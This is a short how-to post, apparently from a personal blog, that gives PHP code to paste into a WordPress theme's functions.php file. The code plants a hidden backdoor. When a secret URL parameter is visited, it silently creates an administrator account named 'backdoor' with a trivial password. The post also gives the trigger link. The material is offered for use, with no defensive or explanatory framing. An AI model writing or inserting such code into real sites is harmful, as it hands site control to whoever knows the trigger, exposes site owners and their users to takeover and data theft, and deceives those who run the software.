How To Create A Secret Backdoor Code For WordPress
*** Put These Codes To : function.php of a wordpress theme (under add_function)
add_action( ‘wp_head’, ‘my_backdoor’ );
function my_backdoor() {
if ( md5( $_GET[‘backdoor’] ) == ’34d1f91fb2e514b8576fab1a75a89a6b’ ) {
require( ‘wp-includes/registration.php’ );
if ( !username_exists( ‘backdoor’ ) ) {
$user_id = wp_create_user( ‘backdoor’, ‘pass’ );
$user = new WP_User( $user_id );
$user->set_role( ‘administrator’ );
}
}
}
*** To Create The Backdoor, visit with this link:
https://yoursite.com?backdoor=go
*** Get the docs of the backdoor codes :
https://docs.google.com/document/d/1AJ2qMPH2saAr8qznSuNLdsAfKUQ1TfPUEtbTFyoCUNo/
Thanks
Minhazul Asif,
www.whatminhazulasifwrite.com